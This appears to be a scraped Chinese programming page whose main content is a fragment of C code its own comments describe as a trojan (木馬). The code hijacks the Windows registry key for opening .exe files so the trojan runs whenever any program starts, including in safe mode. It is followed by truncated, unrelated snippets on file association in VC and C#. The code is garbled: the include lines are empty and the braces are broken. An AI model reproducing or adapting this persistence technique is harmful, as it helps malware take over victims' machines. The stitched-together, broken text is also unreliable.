#include
#include
int main(int argc,char *argv)
}//上面的函式是把字串中所有的"\"變為"\\"
char str="\"%1\" %*";
regsetvalue(hkey_classes_root,"exefile\\shell\\open\\command",reg_sz,(lpctstr)str,strlen(str)+1);
// 在執行原有程式之前必須把登錄檔恢復,否則用shellexecute還是執行我們的木馬程式。
shellexecute(null,"open",temp,null,null,sw_show);//執行原有的程式
//在程式執行完成後,再把登錄檔改為我們要啟動的木馬程式的
tchar filename[256];
// 得到程式全路徑名
getmodulefilename( null, filename, 255 );
strcat(filename," \"%1\" %*");
regsetvalue(hkey_classes_root,"exefile\\shell\\open\\command",reg_sz,(lpctstr)filename , strlen(filename) + 1);
//經過上述過程只要程式一執行就會執行我們的start 程式了。即使是在安全模式下只要執行可執行程式就會執行我們的程式了。
return 0;
}
vc 實現檔案關聯
include include int main int argc,char argv 上面的函式是把字串中所有的 變為 char str 1 regsetvalue hkey classes root,exefile shell open command reg sz,lpctstr str,st...
VC檔案關聯小結
最近的工程中要用到了vc中關於檔案關聯的操作,費了不少周折,這裡就簡單做乙個小結。1 使用enableshellopen自動完成登錄檔的註冊資訊 enable dde execute open enableshellopen registershellfiletypes true 通常情況下,也有加...
C 實現檔案關聯
和其他語言一樣,c 實現檔案關聯同樣需要直接操作登錄檔,即按規則分別設定副檔名,文件型別說明,友好名稱,圖示,呼叫方法等鍵值即可,網上隨便查查就可以寫出以下的 using microsoft.win32 key registry.classesroot.createsubkey jeebook.re...